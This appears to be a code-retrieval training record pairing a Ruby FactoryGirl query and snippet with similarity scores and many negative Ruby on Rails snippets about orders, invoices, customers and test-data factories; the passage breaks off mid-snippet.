[ "0.74574393", "0.7404887", "0.7362211", "0.71779186", "0.71309316", "0.70909154", "0.6946057", "0.6932117", "0.6874877", "0.6832797", "0.68295884", "0.6801718", "0.67965597", "0.6779961", "0.6773878", "0.6771051", "0.6764847", "0.67632306", "0.6755659", "0.67508954", "0.67288667", "0.6714072", "0.6692392", "0.66905576", "0.6683188", "0.66819304", "0.66604334", "0.66540843", "0.6649353", "0.664297", "0.6621916", "0.66118443", "0.66068035", "0.6584949", "0.6567508", "0.65485966", "0.6510617", "0.6499271", "0.6488802", "0.6468997", "0.6464038", "0.6455444", "0.6449591", "0.642801", "0.642512", "0.6419597", "0.64188653", "0.6403316", "0.63985115", "0.63929254", "0.63890034", "0.6382807", "0.6380365", "0.6370486", "0.6353186", "0.6351395", "0.6351207", "0.6348786", "0.63471365", "0.63375694", "0.6334746", "0.6331894", "0.6328146", "0.63273513", "0.63199395", "0.6309804", "0.63032", "0.6297703", "0.62800115", "0.6276746", "0.6274898", "0.62727517", "0.6267958", "0.62588865", "0.6252846", "0.62388873", "0.6229434", "0.6229054", "0.62286854", "0.6216609", "0.6213861", "0.62084794", "0.6202761", "0.619441", "0.61901045", "0.61893433", "0.6184777", "0.617084", "0.6167952", "0.6159641", "0.61572915", "0.61527604", "0.6143056", "0.61415225", "0.61404645", "0.6124925", "0.61244726", "0.6123811", "0.6123613", "0.61223984", "0.6121648" ]
0.0
-1
Factory(:payture_charge), build(:order) create(:order, :pnr_number => '234DDK') people = build_list(:person, 5)
def factories! require 'factory_girl' require './spec/factories' extend FactoryGirl::Syntax::Methods end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create_orders_over_time(amount)\n amount.times do\n profile = UserProfile.all.sample\n created = Faker::Time.between(1.years.ago, Time.now)\n updated = Faker::Time.between(created, Time.now)\n Order.create(\n user_id: profile.id,\n shipping_address_id: profile.shipping_address_id,\n billing_address_id: profile.billing_address_id,\n cc_id: profile.cc_id, in_cart: false,\n created_at: created, updated_at: updated\n )\n add_products(order_id: Order.last.id)\n end\nend", "def create\n\n @order = Order.new(:drone_id => Drone.where('name = :dname', dname: 'No Drone Assigned').first.id, :person_id => params[:orderdetail][:person_id], :status => 1)\n if @order.save\n @orderdetail = Orderdetail.new(:product_id => params[:orderdetail][:product_id],:quantity => params[:orderdetail][:quantity],:order_id => @order.id)\n \n respond_to do |format|\n if @orderdetail.save\n format.html { redirect_to @orderdetail, notice: 'Orderdetail was successfully created.' }\n format.json { render :show, status: :created, location: @orderdetail }\n else\n format.html { render :new }\n format.json { render json: @orderdetail.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def factory_family_full(params={})\n head = factory_member_basic\n family = head.family\n if params[:couple]\n spouse = Factory(:member_with_details, :family=>family, :first_name=> \"Honey\", \n :short_name=> \"Honey\", :spouse=>head, :sex=>'F')\n head.spouse = spouse\n end\n add_details(head, {:personnel_data_create=>true, \n :health_data_create=>true, \n :contact_create=>true,\n :field_term_create=>true }.merge(params))\n add_details(spouse) if head.spouse\n if params[:child]\n child = Factory(:child, :family=>family, :country=>head.country)\n end\n return family\n end", "def create_franchises\n 8.times do \n Franchise.create(company_id: Company.all.sample.id, owner_id: Owner.all.sample.id, location: Faker::Address.city, profit: Faker::Number.within(range: -1000.00..1000000.00))\n end\nend", "def buildOrder(orderObject)\n return Order.new(orderObject['id'], orderObject['customer_email'], orderObject['fulfilled'], buildProducts(orderObject['products']))\nend", "def create_order\n @order = Order.create\n end", "def when_i_create_a_number_of_puppies\n create_list :puppy, 5, orientation: 'hor'\n create_list :puppy, 3, orientation: 'ver'\n create_list :puppy, 4, orientation: 'squ'\n create_list :puppy, 5, disabled: true\nend", "def create\n @order = Order.create!(order_params)\n\t@users = User.order(:user_name)\n @restaurants = Restaurant.order(:rest_name)\n \n respond_to do |format|\n if @order.save\n \t@thispart = Participant.create!({:part_user => @order.order_organizer, :part_order => @order.id, :part_role => \"organizer\", :part_cost => 0.00})\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render action: 'show', status: :created, location: @order }\n else\n format.html { render action: 'new' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def factory_family_bare(params={})\n head = factory_member_basic\n family = head.family\n Factory(:contact, :member=>head)\n if params[:couple]\n spouse = factory_member_basic(:sex=>'F')\n head.marry spouse\n Factory(:contact, :member=>spouse)\n end\n if params[:child]\n child = Factory(:child, :family=>family, :country=>head.country)\n child.stub(:dependent).and_return(true)\n end\n return family\n end", "def build_order\n @order ||= ManagementCenter::Order.new\n end", "def create\n puts \"ORDERPARAMS\"\n @order = Order.new(order_params)\n puts \"ORDER\"\n puts \"#{@order}\"\n @order.driver = Driver.new(:stock_cheap => 2,\n :stock_classy => 3,\n :phone => 8675309)\n respond_to do |format|\n if @order.save\n if @order.member.nil?\n format.html { redirect_to new_member_registration_path, notice: 'Order was successfully created.' }\n format.json { render action: 'show', status: :created, location: @order } \n else\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render action: 'show', status: :created, location: @order } \n end\n else\n format.html { render action: 'new' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def persons\n @company = Company.new\n @holding = Holding.new\n @adress_book = AdressBook.new\n init_create_adress_book\n end", "def provision\n @order = Order.new\n 1.times {@order.order_details.build}\n respond_to do |format|\n format.html # provision.html.erb\n format.json { render json: @order }\n end\n end", "def create_co_and_payment(company_number, payment_exp_date, member_pay_expires: Time.zone.today + 1.year, payment_create_date: Time.zone.now)\n\n u = create(:member_with_membership_app, company_number: company_number)\n u.shf_application.update(created_at: payment_create_date, updated_at: payment_create_date)\n\n co = u.shf_application.companies.first\n\n create(:payment,\n user: u,\n payment_type: Payment::PAYMENT_TYPE_MEMBER,\n status: SUCCESSFUL_PAYMENT,\n expire_date: member_pay_expires,\n created_at: payment_create_date,\n updated_at: payment_create_date)\n\n branding_payment = create(:payment,\n user: u,\n payment_type: Payment::PAYMENT_TYPE_BRANDING,\n status: SUCCESSFUL_PAYMENT,\n expire_date: payment_exp_date,\n created_at: payment_create_date,\n updated_at: payment_create_date)\n\n co.payments << branding_payment\n co\n end", "def create_orders(count)\n users = User.where(admin: false)\n i = 0\n while i < count.to_i && users.count > 0 do\n Order.create(user: users[i % users.count], total_amount: 0,\n shipping_address: Faker::Address.street_address)\n i += 1\n end\nend", "def create_complete_order(user, product, options={})\n returning(user.orders.create) do |order|\n order.line_items.push create_line_item(product.variants.first)\n order.save\n order.checkout.bill_address = Address.new({\n :firstname => \"First\",\n :lastname => \"Last\",\n :address1 => \"Address1\",\n :city => \"City\",\n :state_name => \"A State\",\n :zipcode => \"00000\",\n :country => Country.new,\n :phone => \"00000000\"\n })\n order.complete\n order.save!\n end\nend", "def generate *args\n FactoryGirl.create(factory_name, *args)\n end", "def create\n @order = Order.new(order_params)\n @profile = Profile.find(params[:order][:profile_id])\n\n @order.oname = params[:order][:oname]\n @order.odescription = params[:order][:odescription]\n @order.otime = params[:order][:otime]\n @order.ocost = params[:order][:ocost]\n\n myOrder = BasicOrder.new(@order.oname, @order.odescription, @order.otime, @order.ocost)\n\n if params[:order][:food].to_s.length > 0 then\n myOrder = FoodDecorator.new(myOrder)\n end\n\n if params[:order][:travel].to_s.length > 0 then\n myOrder = TravelDecorator.new(myOrder)\n end\n\n @order.ocost = myOrder.ocost\n @order.odescription = myOrder.details\n\n logger = NewOrderLogger.instance\n logger.logInformation(\"New Order by user #{@profile.firstname} #{@profile.lastname}: #{@order.oname}, #{@order.odescription}, #{@order.otime}, #{@order.ocost}\")\n\n #puts \"ocost from @order.ocost: #{@order.ocost}\"\n #puts \"odescription from @order.od: \"[email protected]\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to profile_order_url(@profile,@order), notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_potions\n potion = Potion.create(name: 'Basic Healing Potion', heal_amount: 10, cost: 10, :merchant_id => self.id)\n\n potion1 = Potion.create(name: 'Superior Healing Potion', heal_amount: 25, cost: 20, :merchant_id => self.id)\n\n potion2 = Potion.create(name: 'Full Heal Potion', heal_amount: 50, cost: 45, :merchant_id => self.id )\n\n end", "def create\n @order = Order.new(params[:order])\n end", "def new\n # @person = Person.new\n # this might come in handy -> has_one :account_address, :class_name => 'Address', :conditions => ['address_type=?', 'Account']\n 1.times do\n address = @person.addresses.build\n end\n 1.times do\n email = @person.emails.build\n end\n 1.times do\n organization = @person.organizations.build\n end\n #create the parent stub\n 1.times do\n parent = @person.simple_contacts.build \n 1.times do\n homephone = parent.simple_contact_phones.build\n homephone.scphonetype = \"Home\"\n end\n 1.times do\n workphone = parent.simple_contact_phones.build\n workphone.scphonetype = \"Work\"\n end\n 1.times do\n defaultemail = parent.simple_contact_emails.build\n defaultemail.nickname = \"Home email\"\n end\n 1.times do\n primaryinsurance = parent.simple_contact_insurances.build\n end\n end\n #create the emergency contact\n 2.times do\n emergencycontact = @person.simple_contacts.build \n emergencycontact.contacttype = \"emergency\"\n 1.times do\n echomephone = emergencycontact.simple_contact_phones.build\n echomephone.scphonetype = \"Home\"\n end\n 1.times do\n ecworkphone = emergencycontact.simple_contact_phones.build\n ecworkphone.scphonetype = \"Work\"\n end\n 1.times do\n ecdefaultemail = emergencycontact.simple_contact_emails.build\n ecdefaultemail.nickname = \"Home email\"\n end \n end\n #create the pickup contact\n 2.times do\n pickupperson = @person.simple_contacts.build \n pickupperson.contacttype = \"pickup\"\n 1.times do\n puhomephone = pickupperson.simple_contact_phones.build\n puhomephone.scphonetype = \"Home\"\n end\n 1.times do\n puworkphone = pickupperson.simple_contact_phones.build\n puworkphone.scphonetype = \"Work\"\n end \n end \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @person }\n end\n end", "def initialize(customer, drink)\n @customer = customer\n @drink = drink\n @customer.orders << @drink\nend", "def build *args\n Factory.build factory_name, *args\n end", "def generate_characteristics_for(micropost, num_characteristics)\r\n\twhile num_characteristics > 0 do\r\n\t\tFactoryGirl.create(:characteristic, micropost: micropost)\r\n\t\t\r\n\t\tnum_characteristics-=1\r\n\tend\r\nend", "def create_houses house\n self.create_house(:owned => house[:owned],:rented => house[:rented],:co_provider => house[:co_provider])\n end", "def test_it_can_create_a_new_invoice_when_sent_create_with_params\n previous_invoice_count = @instance.all.count\n customer1 = @instance.engine.customer_repository.find_by_id(1)\n merchant1 = @instance.engine.merchant_repository.find_by_id(1)\n item1 = @instance.engine.item_repository.find_by_id(1)\n item2 = @instance.engine.item_repository.find_by_id(2)\n @instance.create(customer: customer1,\n merchant: merchant1,\n status: \"shipped\",\n items: [item1, item1, item2])\n assert_equal previous_invoice_count + 1, @instance.all.count\n end", "def billing_person\n build_billing_person\n end", "def generateConcreteCharges\r\n\t #For each charge factories asscociated with retail plans, generate concrete charge and total them\r\n\t self.retail_plan.charge_factories.each do |charge_factory| \r\n\t generated_concrete_charges = charge_factory.specific.concreteCharge(self)\r\n\t #Put each generated_concrete_charge to GeneratedInvoice\r\n\t generated_concrete_charges.each do |generated_concrete_charge|\t \t\r\n\t\t self.concrete_charges << generated_concrete_charge\r\n\t\t self.total += generated_concrete_charge.amount\r\n\t end\r\n\t end\r\n\tend", "def create\n on PersonPage do |create|\n create.description.set random_alphanums\n create.role_id.set @id\n create.add_role\n @qualifiers.each do |unit|\n create.unit_number(@id).fit unit[:unit]\n create.descends_hierarchy(@id).fit unit[:descends_hierarchy]\n create.add_role_qualifier(@id)\n end\n end\n end", "def init() \n\n address_create()\n\n employee_create(\"Nicolas\", \"Genest\", \"CEO\", 'roc-kets', \"[email protected]\")\n employee_create(\"Nadya\", \"Fortier\", \"Director\", \"roc-kets\", \"[email protected]\")\n employee_create(\"Martin\", \"chantal\", \"Director Assistant\", \"roc-kets\", \"[email protected]\")\n employee_create(\"Mathieu\", \"Houde\", \"Captain\", \"roc-kets\", \"[email protected]\")\n employee_create(\"David\", \"Boutin\", \"Engineer\", \"roc-kets\", \"[email protected]\")\n employee_create(\"Mathieu\", \"Lortie\", \"Engineer\", \"roc-kets\", \"[email protected]\")\n employee_create(\"Thomas\", \"Carrier\", \"Engineer\", \"roc-kets\", \"[email protected]\")\n employee_create(\"Admin1\", \"Admin1\", \"Admin1\", \"roc-kets\", \"[email protected]\")\n employee_create(\"Admin\", \"Admin\", \"Admin\", \"roc-kets\", \"[email protected]\")\n\n\n 25.times do \n customer_create(\n Faker::Company.name,\n Faker::Name.name,\n Faker::PhoneNumber.cell_phone,\n Faker::Internet.email,\n \"Description\",\n Faker::Name.name,\n Faker::PhoneNumber.cell_phone,\n Faker::Internet.email\n ) \n end\n\n 40.times do\n intervention_create(\n Faker::Number.between(from: 1, to: 9),\n Faker::Number.between(from: 1, to: 25),\n Faker::Number.between(from: 1, to: 40),\n Faker::Number.between(from: 1, to: 40),\n Faker::Number.between(from: 1, to: 40),\n Faker::Number.between(from: 1, to: 200),\n Faker::Number.between(from: 1, to: 9),\n Faker::Date.between(from: '2019-02-23', to: '2020-2-25'),\n Faker::Date.between(from: '2020-02-25', to: '2021-3-15'),\n ['Success', 'Failure', 'Incomplete'].sample,\n \"Nothing to report\",\n ['Pending', 'InProgress', 'Interrupted' , 'Resumed', 'Complete'].sample\n )\n end\n\n\n 50.times do\n pl = [\"Standard\", \"Premium\", \"Excelium\"]\n bt = [\"Residential\", \"Commercial\", \"Corporate\", \"Hybrid\"]\n Quote.create(\n install_fees: Faker::Number.between(from: 500, to: 2000),\n total_price: Faker::Number.between(from: 50000, to: 200000),\n product_line: (pl.sample),\n number_of_apartments: Faker::Number.between(from: 50, to: 200),\n number_of_floors: Faker::Number.between(from: 10, to: 70),\n number_of_basements: Faker::Number.between(from: 1, to: 10),\n number_of_corporations: Faker::Number.between(from: 1, to: 100),\n elevator_amount: Faker::Number.between(from: 1, to: 100),\n quotes_name: Faker::Name.name,\n quotes_email: Faker::Internet.email,\n quotes_company_name: Faker::Company.name,\n building_type: (bt.sample),\n final_price: Faker::Number.between(from: 50000, to: 800000),\n number_of_companies: Faker::Number.between(from: 1, to: 5),\n number_of_parking: Faker::Number.between(from: 50, to: 200),\n maximum_occupancy: Faker::Number.between(from: 50, to: 200),\n business_hours: Faker::Number.between(from: 0, to: 24),\n number_of_elevators: Faker::Number.between(from: 1, to: 15),\n unit_price: Faker::Number.between(from: 11000, to: 15000),\n # updated_at: dateCreationUpdate,\n created_at:Faker::Date.between(from: '2018-02-23', to: '2021-2-25')\n )\n end\nend", "def create_phone_number\n numbers = []\n amount_of_numbers = rand(0..3)\n amount_of_numbers.times do\n kind_of_number = ['phone_number', 'cell_phone'].sample\n numbers << Faker::PhoneNumber.send(kind_of_number)\n end\n numbers\nend", "def create_order\n @order = Order.find(params[:order_id])\n @tire_listing = TireListing.find(params[:tire_listing_id])\n\n # can we find it? If not we need to recreate it.\n if [email protected]_buyer_customer_token.blank?\n begin\n @customer = Stripe::Customer.retrieve(@order.stripe_buyer_customer_token)\n rescue Exception => e\n # could not retrieve the customer record, so let's just re-create the customer\n @customer = nil \n @order.stripe_buyer_customer_token = \"\"\n end\n end\n\n if @order.stripe_buyer_customer_token.blank?\n begin\n @customer = Stripe::Customer.create(:card => params[:stripeToken], :description => params[:email])\n rescue Exception => e\n @order.destroy\n redirect_to @order.tire_listing, notice: \"There was an error with your data - message: #{e.to_s}\"\n return\n end\n @order.stripe_buyer_customer_token = @customer.id\n @order.uuid = SecureRandom.uuid\n elsif @customer.nil?\n @customer = Stripe::Customer.retrieve(@order.stripe_buyer_customer_token)\n end\n\n stripe_buyer_customer_cc_token = @customer.default_source #@customer.active_card.id\n @order.buyer_name = @customer.sources.first.name #@customer.active_card.name\n @order.buyer_email = params[:email]\n @order.buyer_phone = params[:phone]\n @order.notify_buyer_with_text = params[:notify_buyer_via_text]\n @order.buyer_address1 = @customer.sources.first.address_line1 #@customer.active_card.address_line1\n @order.buyer_city = @customer.sources.first.address_city #@customer.active_card.address_city\n @order.buyer_state = @customer.sources.first.address_state #@customer.active_card.address_state\n @order.buyer_zip = @customer.sources.first.address_zip #@customer.active_card.address_zip\n\n @order.status = order_status_array[:ready_for_billing]\n @order.save\n\n @order.delay.bill_order\n\n flash[:alert] = 'Your credit card will be billed shortly. It is important for you to schedule an appointment time now to complete the order. You will receive a confirmation email in 10 minutes -OR- after scheduling your appointment.'\n redirect_to :action => :new, :controller => :appointments, :tire_store_id => @order.tire_listing.tire_store_id, :tire_listing_id => @order.tire_listing_id, :order_id => @order.id, :order_uuid => @order.uuid\n end", "def create_registration_context\n @reg_ed_sp = FactoryGirl.create(:registration, student: @ed, section: @wy_belt_sparring, fee_paid: false)\n @reg_ted_sp = FactoryGirl.create(:registration, student: @ted, section: @wy_belt_sparring)\n @reg_ted_br = FactoryGirl.create(:registration, student: @ted, section: @wy_belt_breaking)\n @reg_hm_br = FactoryGirl.create(:registration, student: @howard, section: @r_belt_breaking, date: 1.day.ago.to_date)\n @reg_nm_br = FactoryGirl.create(:registration, student: @noah, section: @r_belt_breaking, date: 2.days.ago.to_date)\n end", "def generate_order\n user = User.all.sample\n\n # 2 kinds of users can have orders built\n # a user with a billing address is one\n # a user who still needs a shopping cart built is the other\n if user[:billing_id] || !has_cart?(user[:id])\n o = Order.new\n o[:user_id] = user.id\n o[:shipping_id] = random_user_address(user.id)\n o[:billing_id] = random_user_address(user.id)\n\n # first generated order is a shopping cart\n # all since then are placed orders with checkout dates\n if has_cart?(user.id)\n o[:checkout_date] = placement_date(user)\n end\n\n o.save\n generate_contents(o[:id])\n end\nend", "def create_registration_context\n @reg_ed_sp = FactoryGirl.create(:registration, :student => @ed, :section => @wy_belt_sparring)\n @reg_ted_sp = FactoryGirl.create(:registration, :student => @ted, :section => @wy_belt_sparring, :fee_paid => false, :final_standing => 12)\n @reg_ted_br = FactoryGirl.create(:registration, :student => @ted, :section => @wy_belt_breaking, :final_standing => 10)\n @reg_hm_br = FactoryGirl.create(:registration, :student => @howard, :section => @r_belt_breaking, :date => 1.day.ago.to_date, :fee_paid => false, :final_standing => 9)\n @reg_nm_br = FactoryGirl.create(:registration, :student => @noah, :section => @r_belt_breaking, :date => 2.days.ago.to_date, :final_standing => 3)\n end", "def build_registrations!\n quantity.times.map{registrations.build(:product => product)}\n end", "def create_work_orders\n create_education_organization_work_orders\n create_education_org_calendar_work_orders\n create_master_schedule_work_orders\n create_staff_association_work_orders\n create_student_and_enrollment_work_orders\n create_competency_level_descriptor_work_order\n end", "def create_firm_and_address(firm)\n new_firm = Firm.create_with_addresses(firm)\nend", "def create_first_payment\n make_payment\n end", "def new_drive (driver, people)\n # people is an array\n # need a way to get the price associated with the driver TODO\n\n ppp = price_per_person(price, people.count)\n people.each do |dood|\n # add_debt_to(dood, driver, ppp)\n end\n end", "def create_joiners(person)\n plants_number = rand(1..4)\n plants_number.times do \n PlantParenthood.create(\n plant_id: Plant.all.sample.id, \n person_id: person.id, \n affection: rand(101), \n favorite?: [true, false].sample\n )\n end\nend", "def new_service(service)\n \tOrder.new(\n \t\torderNumber: 37592,\n \t\tservice: service,\n\t\t\torderType: \"установка розетки\",\n\t\t\tnameOrFIO: \"Нибелунг Зигфрид Беовульфыч\",\n\t\t\tstreet: \"бул. Амурский\",\n\t\t\thouse: 10,\n\t\t\tresponsiblePerson: \"Витя Кабан\",\n\t\t\tpersonType: \"Физ лицо\",\n\t\t\tformingDate: \"2013-11-13\")\n end", "def new_order(params = {})\r\n params = { :created => Date.today, :turnaround_year => \"2007\" }.merge(params)\r\n if self.requesting?\r\n self.requested_orders.build({ :date_requested => Date.today.to_s(:db) }.merge(params))\r\n elsif self.planning?\r\n self.planned_orders.build(params)\r\n else\r\n Order.new(params)\r\n end\r\n end", "def test_create_order\n setup_new_order()\n @o.order_line_items << OrderLineItem.for_product(items(:small_stuff))\n assert @o.save\n end", "def crear_productos_contratados\n @lis_products = Sale::ProductQuotation.where(sale_quotation_id: self.sale_quotation_id)\n @lis_products.each do |product|\n product.quantity.times do\n Payment::ContractedProduct.create(\n plan_id: self.id,\n product_product_id: product.product_product_id,\n price_contracted: product.product_product.price,\n valid_until: Date.today + product.product_product.valid_days,\n user_created_id: self.user_created_id)\n end\n end\n end", "def create\n @order = Order.new(params[:order])\n listing = Listing.find(params[:listing_id])\n event = Event.find(params[:event_id])\n addr = Address.find_or_create_by_street_address( params[:address][:street_address])\n\n addr.update_attributes(params[:address])\n\n order_attributes = {\n shipment_method: params[:shipment_method],\n payment_date: Time.now(),\n payment_method: 0, #TODO\n shipment_date: Time.now(),\n status: 0, #TODO\n shipment_fee: 0,\n service_fee: 0,\n total_amount: params[:tickets_amount].to_i * listing.list_price,\n tickets_amount: params[:tickets_amount].to_i\n }\n\n @order.update_attributes(order_attributes)\n\n @order.seller = listing.seller\n @order.buyer = current_user\n @order.shipment_address = addr\n\n # get tickets\n tickets = listing.get_some_available_tickets params[:tickets_amount].to_i\n\n listing.tickets.each do |t|\n @order.items.build({\n selling_price: 0,\n ticket_id: t.id\n })\n end\n\n respond_to do |format|\n if @order.save\n #format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.html { redirect_to success_order_url(@order) }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @order = Order.new\n 2.times do\n ordered_product = @order.ordered_products.build\n groupa = @order.groupas.build\n groupb = @order.groupbs.build\n groupc = @order.groupcs.build\n end\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @order }\n end\n end", "def create_order_items(order)\n raise NoOrderItemsGiven unless valid_order_items?\n\n Array(param(:order_items)).each do |order_item_params|\n order_item = build_order_item(order_item_params)\n order_item.save!\n end\n end", "def create_one(test_detail)\n j= test_detail.part_count - 1\n for i in 0..j\n balloon = Balloon.new\n balloons << balloon\n balloon.bart = self\n balloon.save\n end\n end", "def create\n @order = Order.new(params[:order])\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to(@order, :notice => 'Order was successfully created.') }\n format.xml { render :xml => @order, :status => :created, :location => @order }\n else\n if @order.ordered_products.empty?\n 8.times { @order.ordered_products.build }\n else\n no_times = 8 - @order.ordered_products.size\n no_times.times { @order.ordered_products.build }\n end\n format.html { render :action => \"new\" }\n format.xml { render :xml => @order.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create_list(list)\n print_list(list)\n return list\nend", "def collection(factory, count=3, opts={})\n results = []\n count.times do\n yield opts if block_given?\n results << FactoryBot.create(factory.to_sym, opts)\n end\n results\n end", "def create\n @products = Product.all\n order_products = []\n @products.each do |p|\n sym = \"product_#{p.id}\".to_sym\n if params[sym].present?\n count = params[sym].to_i\n if count > 0\n order_product = OrderProduct.new(product: p, count: count)\n order_products << order_product\n end\n end\n end\n\n if order_products.size > 0\n order = Order.new(user: current_user)\n order.save!\n order_products.each do |i|\n i.order = order\n i.save!\n end\n redirect_to order_path(order.id)\n else\n redirect_to new_order_path\n end\n end", "def create_data_test\n 5.times do\n user = User.make\n user.save\n #creeate and assing list\n 5.times do\n list=List.make\n list.save\n user.lists << list\n end\n #create and assign contacts\n 5.times do\n user.contacts << create_contact\n ContactList.create(:list => user.lists.first, :contact => user.contacts.last)\n ContactList.create(:list => user.lists.last, :contact => user.contacts.last)\n end\n user.save\n end\nend", "def create_objects_merchant_with_many_customers_and_items\n let!(:customer1) { create(:customer) } # Transaction_count = 1\n let!(:customer2) { create(:customer) } # Transaction_count = 3 #=> Top Customer 3\n let!(:customer3) { create(:customer) } # Transaction_count = 5 #=> Top Customer 1\n let!(:customer4) { create(:customer) } # Transaction_count = 4 #=> Top Customer 2\n let!(:customer5) { create(:customer) } # Transaction_count = 1\n let!(:customer6) { create(:customer) } # Transaction_count = 1\n let!(:customer7) { create(:customer) } # Transaction_count = 2 #=> Top Customer 4 (4a)\n let!(:customer8) { create(:customer) } # Transaction_count = 2 #=> Top Customer 5 (4b)\n let!(:customer9) { create(:customer) } # Transaction_count = 1\n let!(:customer10) { create(:customer) } # Transaction_count = 1\n\n let!(:merchant) { create(:enabled_merchant) }\n\n let!(:item1) { create(:item, merchant: merchant) }\n let!(:item2) { create(:item, merchant: merchant) }\n let!(:item3) { create(:item, merchant: merchant) }\n let!(:item4) { create(:item, merchant: merchant) }\n let!(:item5) { create(:item, merchant: merchant) }\n let!(:item6) { create(:item, merchant: merchant) }\n let!(:item7) { create(:item, merchant: merchant) }\n let!(:item8) { create(:item, merchant: merchant) }\n let!(:item9) { create(:item, merchant: merchant) }\n let!(:item10) { create(:item, merchant: merchant) }\n let!(:item11) { create(:item, merchant: merchant) }\n let!(:item12) { create(:item, merchant: merchant) }\n let!(:item13) { create(:item, merchant: merchant) }\n let!(:item14) { create(:item, merchant: merchant) }\n let!(:item15) { create(:item, merchant: merchant) }\n let!(:item16) { create(:item, merchant: merchant) }\n let!(:item17) { create(:item, merchant: merchant) }\n let!(:item18) { create(:item, merchant: merchant) }\n let!(:item19) { create(:item, merchant: merchant) }\n let!(:item20) { create(:item, merchant: merchant) }\n\n let!(:invoice1a) { create(:invoice, :completed, customer: customer1, created_at: '2021-07-24T17:30:05+0700') } # 15\n let!(:invoice1b) { create(:invoice, :completed, customer: customer1, created_at: '2021-07-27T17:30:05+0700') } # 18\n let!(:invoice2a) { create(:invoice, :completed, customer: customer2, created_at: '2021-07-26T17:30:05+0700') } # 17\n let!(:invoice2b) { create(:invoice, :completed, customer: customer2, created_at: '2021-07-17T17:30:05+0700') } # 10\n let!(:invoice2c) { create(:invoice, :completed, customer: customer2, created_at: '2021-07-18T17:30:05+0700') } # 11\n let!(:invoice3a) { create(:invoice, :completed, customer: customer3, created_at: '2021-07-29T17:30:05+0700') } # 20\n let!(:invoice3b) { create(:invoice, :completed, customer: customer3, created_at: '2021-07-22T17:30:05+0700') } # 13\n let!(:invoice3c) { create(:invoice, :completed, customer: customer3, created_at: '2021-07-28T17:30:05+0700') } # 19\n let!(:invoice3d) { create(:invoice, :completed, customer: customer3, created_at: '2021-07-02T17:30:05+0700') } # 2\n let!(:invoice3e) { create(:invoice, :completed, customer: customer3, created_at: '2021-07-15T17:30:05+0700') } # 8\n let!(:invoice4a) { create(:invoice, :completed, customer: customer4, created_at: '2021-07-29T17:30:05+0705') } # 21\n let!(:invoice4b) { create(:invoice, :completed, customer: customer4, created_at: '2021-07-16T17:30:05+0700') } # 9\n let!(:invoice4c) { create(:invoice, :completed, customer: customer4, created_at: '2021-07-08T17:30:05+0700') } # 5\n let!(:invoice4d) { create(:invoice, :completed, customer: customer4, created_at: '2021-07-01T17:30:05+0700') } # 1\n let!(:invoice5a) { create(:invoice, :completed, customer: customer5, created_at: '2021-07-04T17:30:05+0700') } # 3\n let!(:invoice6a) { create(:invoice, :completed, customer: customer6, created_at: '2021-07-06T17:30:05+0700') } # 4\n let!(:invoice7a) { create(:invoice, :completed, customer: customer7, created_at: '2021-07-23T17:30:05+0700') } # 14\n let!(:invoice7b) { create(:invoice, :completed, customer: customer7, created_at: '2021-07-21T17:30:05+0700') } # 12\n let!(:invoice8a) { create(:invoice, :completed, customer: customer8, created_at: '2021-07-25T17:30:05+0700') } # 16\n let!(:invoice8b) { create(:invoice, :completed, customer: customer8, created_at: '2021-07-30T17:30:05+0700') } # 22\n let!(:invoice9a) { create(:invoice, :completed, customer: customer9, created_at: '2021-07-14T17:30:05+0700') } # 7\n let!(:invoice10a) { create(:invoice, :completed, customer: customer10, created_at: '2021-07-13T17:30:05+0700') } # 6\n\n let!(:transaction1a) { create(:transaction, :failed, invoice: invoice1a) }\n let!(:transaction1b) { create(:transaction, :success, invoice: invoice1b) }\n let!(:transaction2a) { create(:transaction, :success, invoice: invoice2a) }\n let!(:transaction2b) { create(:transaction, :success, invoice: invoice2b) }\n let!(:transaction2c) { create(:transaction, :success, invoice: invoice2c) }\n let!(:transaction3a) { create(:transaction, :success, invoice: invoice3a) }\n let!(:transaction3b) { create(:transaction, :success, invoice: invoice3b) }\n let!(:transaction3c) { create(:transaction, :success, invoice: invoice3c) }\n let!(:transaction3d) { create(:transaction, :success, invoice: invoice3d) }\n let!(:transaction3e) { create(:transaction, :success, invoice: invoice3e) }\n let!(:transaction4a) { create(:transaction, :success, invoice: invoice4a) }\n let!(:transaction4b) { create(:transaction, :success, invoice: invoice4b) }\n let!(:transaction4c) { create(:transaction, :success, invoice: invoice4c) }\n let!(:transaction4d) { create(:transaction, :success, invoice: invoice4d) }\n let!(:transaction5a) { create(:transaction, :success, invoice: invoice5a) }\n let!(:transaction6a) { create(:transaction, :success, invoice: invoice6a) }\n let!(:transaction7a) { create(:transaction, :success, invoice: invoice7a) }\n let!(:transaction7b) { create(:transaction, :success, invoice: invoice7b) }\n let!(:transaction8a) { create(:transaction, :success, invoice: invoice8a) }\n let!(:transaction8b) { create(:transaction, :success, invoice: invoice8b) }\n let!(:transaction9a) { create(:transaction, :success, invoice: invoice9a) }\n let!(:transaction10a) { create(:transaction, :success, invoice: invoice10a) }\n\n let!(:invoice_item1a_1) { create(:invoice_item, :pending, item: item1, invoice: invoice1a, quantity: 2, unit_price: 10) }\n let!(:invoice_item1a_2) { create(:invoice_item, :pending, item: item1, invoice: invoice1a, quantity: 5, unit_price: 20) }\n let!(:invoice_item1b_1) { create(:invoice_item, :shipped, item: item2, invoice: invoice1b, quantity: 4, unit_price: 10) }\n let!(:invoice_item1b_2) { create(:invoice_item, :shipped, item: item2, invoice: invoice1b, quantity: 5, unit_price: 20) }\n let!(:invoice_item2a_1) { create(:invoice_item, :shipped, item: item3, invoice: invoice2a, quantity: 1, unit_price: 10) }\n 